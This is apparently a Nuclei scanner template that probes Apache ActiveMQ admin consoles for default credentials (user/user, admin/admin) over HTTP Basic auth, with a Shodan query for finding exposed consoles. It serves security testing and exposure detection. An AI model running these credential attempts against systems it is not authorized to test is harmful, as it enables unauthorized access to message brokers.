activemq-default-login: Apache ActiveMQ Default Login

id: activemq-default-login

info:
  name: Apache ActiveMQ Default Login
  author: pdteam
  severity: high
  description: Apache ActiveMQ default login credentials were discovered.
  reference:
    - https://github.com/apache/activemq-artemis/
  metadata:
    product: activemq
    vendor: apache
    max-request: 2
    shodan-query: title:"ActiveMQ Artemis Console"
  tags: apache,activemq,default-login,vuln

http:
  - raw:
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    payloads:
      username:
        - user
        - admin
      password:
        - user
        - admin
    attack: pitchfork
    matchers:
      - type: word
        words:
          - 'Welcome to the Apache ActiveMQ Console of <b>'
          - '<h2>Broker</h2>'
        condition: and
# digest: 4a0a00473045022054c71cd884f6d849a055db07dde168c7e4ceee89b748b2228def833d51cfa846022100dff9d9eddaee049a80a32ea0af1d2909c00c0804381f7fd239853850ca576f81:922c64590222798bb761d5b6d8e72950